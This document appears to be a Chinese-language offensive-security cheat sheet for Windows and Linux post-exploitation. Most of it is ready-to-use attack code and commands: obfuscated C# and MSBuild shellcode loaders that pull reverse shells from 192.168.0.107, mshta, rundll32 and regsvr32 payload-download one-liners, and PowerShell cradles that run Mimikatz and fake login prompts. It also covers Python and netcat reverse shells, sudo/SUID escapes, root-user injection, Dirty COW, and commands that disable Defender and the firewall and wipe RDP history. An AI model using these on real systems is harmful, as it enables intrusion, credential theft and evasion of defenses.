bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
}

Csc

>msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f csharp
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out: C:\Users\y\Desktop\shell.exe /platform:x64 /unsafe C:\Users\y\Desktop\shell.cs
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe
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using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
byte[] shellcode = new byte[510] {
SHELLCODE
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}

Regasm

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out: C:\Users\y\Desktop\dll.dll  /unsafe C:\Users\y\Desktop\dll.cs
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /u dll.dll
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namespace HYlDKsYF
{
public class kxKhdVzWQXolmmF : ServicedComponent {
public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }
[ComRegisterFunction]
public static void RegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
}
public class ZApOAKJKY { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF,UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy,int iJGvqiEDGLhjr) {
IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy),iJGvqiEDGLhjr);
Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
catch { return null;}
byte[] Bjpvhc = new byte[4];
MXCEuiuRIWgOYze.Receive(Bjpvhc,4,0);
int IETFBI = BitConverter.ToInt32(Bjpvhc,0);
byte[] ZKSAAFwxgSDnTW = new byte[IETFBI +5];
int JFPJLlk =0;
while(JFPJLlk < IETFBI)
{ JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk +5,(IETFBI - JFPJLlk)<4096 ? (IETFBI - JFPJLlk) : 4096,0);}
byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
Array.Copy(nXRztzNVwPavq,0, ZKSAAFwxgSDnTW,1,4); ZKSAAFwxgSDnTW[0]=0xBF;
return ZKSAAFwxgSDnTW;}
static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
if(KNCtlJWAmlqJ !=null) {
UInt32 uuKxFZFwog = HeapCreate(0x00040000,(UInt32)KNCtlJWAmlqJ.Length,0);
UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog,0x00000008,(UInt32)KNCtlJWAmlqJ.Length);
RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ,(UInt32)KNCtlJWAmlqJ.Length);
UInt32 ijifOEfllRl =0;
IntPtr ihXuoEirmz = CreateThread(0,0, sDPjIMhJIOAlwn, IntPtr.Zero,0, ref ijifOEfllRl);
WaitForSingleObject(ihXuoEirmz,0xFFFFFFFF);}}

public static void QYJOTklTwn() {
byte[] ZKSAAFwxgSDnTW =null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.0.107",12138);
TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
} } }

Msbuild

https://gitee.com/RichChigga/msbuild-exec
MSF监听
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 1.xml
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="iJEKHyTEjyCU">
<xUokfh />
</Target>
<UsingTask
TaskName="xUokfh"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class xUokfh : Task, ITask {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 qEVoJxknom, UInt32 gZyJBJWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztSLHGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wVCIQGmqjONiM, UInt32 DFgVrE);
static byte[] VYcZlUehuq(string IJBRrBqhigjGAx, int XBUCexXIrGIEpe) {
IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx),XBUCexXIrGIEpe);
Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { zCoDOd.Connect(DRHsPzS); }
catch { return null;}
byte[] OCrGofbbWRVsFEl = new byte[4];
zCoDOd.Receive(OCrGofbbWRVsFEl, 4, 0);
int auQJTjyxYw = BitConverter.ToInt32(OCrGofbbWRVsFEl, 0);
byte[] MlhacMDOKUAfvMX = new byte[auQJTjyxYw + 5];
int GFtbdD = 0;
while (GFtbdD < auQJTjyxYw)
{ GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw -GFtbdD) < 4096 ? (auQJTjyxYw - GFtbdD) : 4096, 0);}
byte[] YqBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);
Array.Copy(YqBRpsmDUT, 0, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX[0]= 0xBF;
return MlhacMDOKUAfvMX;}
static void NkoqFHncrcX(byte[] qLAvbAtan) {
if (qLAvbAtan != null) {
UInt32 jrYMBRkOAnqTqx = VirtualAlloc(0, (UInt32)qLAvbAtan.Length, 0x1000, 0x40);
Marshal.Copy(qLAvbAtan, 0, (IntPtr)(jrYMBRkOAnqTqx),qLAvbAtan.Length);
IntPtr WCUZoviZi = IntPtr.Zero;
UInt32 JhtJOypMKo = 0;
IntPtr UxebOmhhPw = IntPtr.Zero;
WCUZoviZi = CreateThread(0, 0, jrYMBRkOAnqTqx, UxebOmhhPw, 0, ref JhtJOypMKo);
WaitForSingleObject(WCUZoviZi, 0xFFFFFFFF); }}
public override bool Execute()
{
byte[] uABVbNXmhr = null; uABVbNXmhr = VYcZlUehuq("192.168.0.107",12138);
NkoqFHncrcX(uABVbNXmhr);
return true; } }
]]>
</Code>
</Task>
</UsingTask>
</Project>

Winrm

MSF监听

image

>mkdir winrm
>copy c:\Windows\System32\cscript.exe winrm
创建文件WsmPty.xsl复制payload进去
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<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd");
]]> </ms:script>
</stylesheet>

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执行
>cscript.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

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Mshta

>use exploit/windows/misc/hta_server
>set srvhost 192.168.0.107
>mshta http://192.168.0.107:8080/RgNeCv.hta

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执行vb
    >mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
Js
    >mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
Jsrat
    >mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

Regsvr32

上线Empire
>usestager windows/launcher_sct
生成sct文件放入web目录
>regsvr32 /s /n /u /i:http://192.168.0.107:8080/launcher.sct scrobj.dll
>cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://192.168.0.107/test.sct

Rundll32

执行文件
>rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe
>rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe
>rundll32 url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
>rundll32 url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
>rundll32 url.dll, FileProtocolHandler calc.exe
无弹窗执行
>rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://192.168.0.107:8080/SU8Fd6kNRz0.hta",0,true);self.close();
增删注册表
保存为.inf文件
>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=AddReg
DelReg=DelReg
[AddReg] #删除DelReg删掉红色部分执行
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,SYSTEM,0x00000000,c:/windows/temp/sv.exe
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)
写文件
>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\\Temp\\testfile.txt",true);a.WriteLine("Test");a.Close();self.close();
Out-RundllCommand
使用nishang脚本Out-RundllCommand生成rundll代码
>powershell -nop -w h -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Execution/Out-RundllCommand.ps1'); Out-RundllCommand -Reverse -IPAddress 192.168.0.107 -Port 12345"

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注:低版本powershell,隐藏窗口只识别-w hidden,高版本可以-w h
执行远程PS脚本
>Out-RundllCommand -PayloadURL http://192.168.0.107/Invoke-PowerShellUdp.ps1 -Arguments "Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.107 -Port 12138"
上线MSF
生成psh-reflection格式脚本
>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell -w hidden -nologo -noprofile -ep bypass IEX ((New-Object Net.WebClient).DownloadString('http://192.168.0.107/xx.ps1'));",0,true);

DotNetToJScript

通过js/vbs执行.net程序
https://github.com/tyranid/DotNetToJScript/releases
>DotNetToJScript.exe -o 1.js ExampleAssembly.dll 生成js
>DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dll生成vbs
>DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dll 生成vba
>DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dll生成sct
StarFighters
https://github.com/Cn33liz/StarFighters 可以执行powershell代码,详见
执行单条命令
$code = 'start calc.exe'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
复制为var EncodedPayload的值
远程执行mimikatz
powershell IEX "(New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'log privilege::debug sekurlsa::logonpasswords'"
以上保存在code.txt
$code = Get-Content -Path code.txt
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded | Out-File 2.txt

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生成的2.txt文件内容替换为var EncodedPayload的值再执行

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image

绕过AMSI执行
>copy c:\windows\system32\cscript.exe amsi.dll
>amsi.dll evil.js

WMIC

Empire建立监听,生成windows/launcher_xsl模块的xsl文件保存在web目录
>wmic process get brief /format:http://192.168.0.107:8080/launcher.xsl
也可结合mshta使用
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<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("mshta http://192.168.0.107:8080/RgNeCv.hta");
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</stylesheet>

Msxsl

下载
https://www.microsoft.com/en-us/download/details.aspx?id=21714
远程执行shellcode
https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/shellcode.xml
>msxls.exe http://192.168.0.107/shellcode.xml http://192.168.0.107/shellcode.xml
Empire生成shellcode贴到脚本中EncodedPayload位置

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CPL

Kali监听

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编译成DLL

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Control执行
>control C:\Users\Administrator.DC\Desktop\VC6.0green\MyProjects\dll\Debug\dll.dll

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或将DLL后缀改为cpl,双击执行,或rundll32执行
>rundll32.exe shell32.dll,Control_RunDLL C:\Users\Administrator.DC\Desktop\VC6.0green\MyProjects\dll\Debug\dll.dll

Runas

#use exploit/windows/local/ask

令牌窃取

MSF

Meterpreter>use incognito
Meterpreter>list_tokens -u
Meterpreter>impersonate_token name\\administrator
&
Meterpreter>ps
Meterpreter>steal_token pid

Cobalt strike

beacon> steal_token 1234 窃取令牌
beacon> rev2self 恢复令牌
Windows
https://gitee.com/RichChigga/incognito2

密码窃取

伪造锁屏

https://github.com/Pickfordmatt/SharpLocker/releases

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https://github.com/bitsadmin/fakelogonscreen/releases

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记录的密码保存在
%LOCALAPPDATA%\Microsoft\user.db

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伪造认证框

CredsLeaker
https://github.com/Dviros/CredsLeaker
将cl_reader.php,config.php,config.cl上传到web服务器
修改CredsLeaker.ps1、run.bat中URL参数

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输入正确密码后会自动结束,否则除非结束powershell进程才可结束
获取到正确密码后会在目录下生成creds.txt保存密码信息

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LoginPrompt
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/Invoke-LoginPrompt.ps1');invoke-LoginPrompt"

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除非结束进程,否则只能输对密码才能关闭对话框。
收到正确密码会返回结果

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Nishang-Invoke-CredentialsPhish
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.108/ps/nishang/Gather/Invoke-CredentialsPhish.ps1'); Invoke-CredentialsPhish"

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RottenPotato

https://github.com/foxglovesec/RottenPotato Meterpreter>use incognito
Meterpreter>list_tokens -u
Meterpreter>upload /root/Desktop/rottenpotato.exe
Meterpreter>execute -HC -f rottenpotato.exe
Meterpreter>impersonate_token "NT AUTHORITY\\SYSTEM"

PowerUp

检测有漏洞的服务
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1');Invoke-AllChecks"

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>icacls C:\Windows\system32\\wlbsctrl.dll 查看文件权限,F为完全控制,M修改

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在AbuseFunction中会显示利用语句。
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1'); Write-HijackDll -OutputFile 'C:\Windows\system32\\wlbsctrl.dll' -Command 'net user admin pass@Qwe1 /add&net localgroup administrators admin /add'"

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重启电脑后会新增用户admin

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查找可能劫持的进程
>Find-ProcessDLLHijack
查找环境变量中当前用户可修改的目录
>Find-PathDLLHijack
查找存在注册表中自动登录用户的平局
>Get-RegistryAutoLogon
查询trusted_service_path
>Get-ServiceUnquoted
查询当前用户可修改的注册表开机启动项
>Get-ModifiableRegistryAutoRun
查询当前用户可修改的计划任务项
>Get-ModifiableScheduledTaskFile
查询系统中所有web.config文件中的明文密码
>Get-WebConfig

Powerup-AlwaysInstallElevated

>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1');Get-RegAlwaysInstallElevated"

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>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powertools/PowerUp/PowerUp.ps1'); Write-UserAddMSI"
普通用户执行安装

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AlwaysInstallElevated提权

>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
为1 检测是否永远以高权限启动安装
#HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
新建DWORD32 DisableMSI=0
#msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi
#upload /root/add.msi c:\\1.msi
>msiexec /quiet /qn /i c:\1.msi
MSF
#use exploit/windows/local/always_install_elevated
#set session 1

Trusted Service Paths

>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ 列出没有用引    号包含的服务
#use exploit/windows/local/trusted_service_path
#set session 1

Vulnerable Services

#use exploit/windows/local/service_permissions
#set session 1

Sudo提权

/home/user/.sudo_as_admin_successful
>sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
>sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
>sudo strace –o /dev/null /bin/bash
>sudo nmap –interactive nmap>!sh
>echo "os.execute('/bin.sh')">/tmp/1.nse
>sudo nmap –script=/tmp/shell.nse 
>sudo more/less/man /etc/rsyslog.conf
>sudo git help status 
>!/bin/bash
>sudo ftp
>!/bin/bash
>sudo vim -c '!sh'
>sudo find /bin/ -name ls -exec /bin/bash ;
>sudo awk 'BEGIN {system("/bin/sh")}'

Linux计划任务

>for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done 列举所有用户的crontab
$cat /etc/crontab
$echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
$echo "" > "--checkpoint-action=exec=sh test.sh"
$echo "" > --checkpoint=1
或编辑可写的计划任务文件
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.107","5555"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Linux SUID提权

查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;

Find

$touch xxx
$/usr/bin/find xxx –exec whoami \;
$/usr/bin/find xxx –exec python -c 'import     socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  \;
&
>find xxx -exec netcat -lvp 12138 -e /bin/sh \; 然后攻击机主动连接

NMAP

# 进入nmap的交互模式
>nmap --interactive 
>!sh

VIM

>vim.tiny /etc/shadow
&
>vim.tiny
# 按ESC
:set shell=/bin/sh
:shell

BASH

>bash –p

####More/Less/Man
>less /etc/passwd
!/bin/sh
>more /etc/passwd
!/bin/bash
>man passwd
!/bin/bash

CP/MV

覆盖shadow文件

Linux /etc/passwd提权

$ls –lh /etc/passwd 若是任何用户可读写
$perl -le 'print crypt("password@123","addedsalt")' 生成密码
$echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
一条命令添加root用户
#useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus
用户名venus 密码123qwe
#useradd newuser;echo "newuser:password"|chpasswd
>echo "admin:x:0:0::/:/bin/sh" >> /etc/passwd
>passwd admin修改密码

Linux脏牛提权

https://github.com/FireFart/dirtycow
$gcc -pthread dirty.c -o dirty –lcrypt
$./dirty passwd 
生成账户密码
https://github.com/gbonacini/CVE-2016-5195
$make
$./dcow -s

RDP&Fireawall

爆破

Hydra爆破RDP
>hydra -l admin -P /root/Desktop/passwords -S 192.168.0.0 rdp
&
Nlbrute

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注册表开启

查询系统是否允许3389远程连接:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
1表示关闭,0表示开启
查看远程连接的端口:
>REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
本机开启3389远程连接的方法
通过cmd
>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
>REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
通过reg文件
内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
导入注册表:
regedit /s a.reg

NETSH启动服务

>netsh firewall set service remoteadmin enable 
>netsh firewall set service remotedesktop enable
>netsh firewall set opmode disable 关闭防火墙

注入点开启

.asp?id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
注:
修改连接端口重启后生效

MSF开启

#run post/windows/manage/enable_rdp

Wmic开启

>wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

防火墙

允许进站
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
>netsh firewall set portopening TCP 3389 ENABLE
防火墙关闭
>netsh firewall set opmode mode=disable
>netsh advfirewall show allprofiles查看状态
>netsh advfirewall set allprofiles state off 
>sc stop windefend
>sc delete windefend
PS> Set-MpPreference -DisableRealtimeMonitoring 1
PS> Set-MpPreference -Disablearchivescanning $true

多用户登录

Mimikatz设置允许多用户登录
>privilege::debug
>ts::multirdp
rdpwrap
https://github.com/stascorp/rdpwrap
>RDPWInst.exe -i is

RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History
查看本机用户连接RDP的记录

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>Psloggedon.exe username

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删除痕迹

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

端口映射&转发

MSF

使用条件:服务器通外网,拥有自己的公网ip
>portfwd add -l 5555 -p 3389 -r 172.16.86.153
转发目标主机的3389远程桌面服务端口到本地的5555
>portfwd list

lcx.exe

使用条件:服务器通外网,拥有自己的公网ip
靶机:lcx.exe -slave 外网IP 9999 127.0.0.1 3389
linux攻击机:./portmap -m 2 -p1 9999 -p2 33889
windows攻击机:lcx -listen 9999 33889 把本机9999监听的信息转到33889
PortTran
https://github.com/k8gege/K8tools/raw/master/PortTran.rar
攻击机执行
>PortTranS20.exe 12345 389

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靶机执行
>PortTranC20.exe 127.0.0.1 3389 192.168.0.102 12345
建立连接后,攻击机连接本机389端口即可

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SSH

-C 压缩传输,加快传输速度
-f 在后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
-q 安静模式,不要显示任何debug信息
-l 指定ssh登录名
-g 允许远程主机连接到本地用于转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

正向转发

外网靶机110
内网靶机115
本地攻击机编辑后restart ssh服务
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
>ssh -C -f -N -g -L 33890:192.168.0.115:3389 root@192.168.0.110 -p 22
本地攻击机执行,本地33890转发到远程的3389端口
上线MSF
攻击机出网Linux靶机--不出网Linux靶机--不出网win机
>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=不出网Linux机 lport=12138 -f exe -o /var/www/html/1.exe
攻击机监听端口12345
不出网Linux机
>ssh -C -f -N -g -L 0.0.0.0:12138:攻击机:12345 root@出网Linux主机 -p 22

反向转发

外网攻击107
内网靶机97
出网靶机编辑后restart ssh服务
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
>ssh -C -f -N -g -R 33890:10.1.1.97:3389 root@192.168.0.107 -p 22
出网靶机执行,把外部攻击机33890转发到内部隔离网络的3389
>netstat –tnlp

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转发成功,外网攻击机安装apt install rinetd(正向tcp转发工具)
>vim /etc/rinetd.conf
添加0.0.0.0 3389 127.0.0.1 33890
>service rinetd start

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看到107是kali攻击机,连接107:33890即可到达内网10.1.1.97的桌面

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Invoke-SocksProxy

https://gitee.com/RichChigga/Invoke-SocksProxy
>Import-Module .\Invoke-SocksProxy.psm1 
>Invoke-SocksProxy -bindPort 12138 建立socks代理,使用代理软件连接

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SSF

单层网络正向转发

https://github.com/securesocketfunneling/ssf/releases
内网机执行:
>ssfd.exe -p 1080

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边界机器执行
>ssf.exe -L 12138:10.1.1.108:22 -p 1080 192.168.0.98 
把内网10.1.1.108的SSH转发出来

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边界机器访问内网端口

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单层网络反向转发

边界机器执行:
>ssfd.exe -p 1080

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内网机器执行:
>ssf.exe -R 12138:10.1.1.108:22 -p 1080 192.168.0.106

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Netsh

边界机器执行:
>netsh interface portproxy add v4tov4 listenaddress=192.168.0.98 listenport=2222 connectaddress=10.1.1.108 connectport=22
将内网10.1.1.108主机22端口转发至本机2222端口,攻击机连接边界机器2222端口即可访问内网SSH

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>netsh interface portproxy add v4tov4 listenaddress=192.168.0.98 listenport=13389 connectaddress=192.168.0.98 connectport=3389
当靶机某服务只允许内网访问时,将端口转发出来

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添加防火墙规则:
>netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localip=192.168.0.98 localport=13389 action=allow
列出所有转发规则:
>netsh interface portproxy show all

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删除指定的端口转发规则:
>netsh interface portproxy delete v4tov4 listenport=13389 listenaddress=192.168.0.98
删除所有转发规则:
>netsh interface portproxy reset

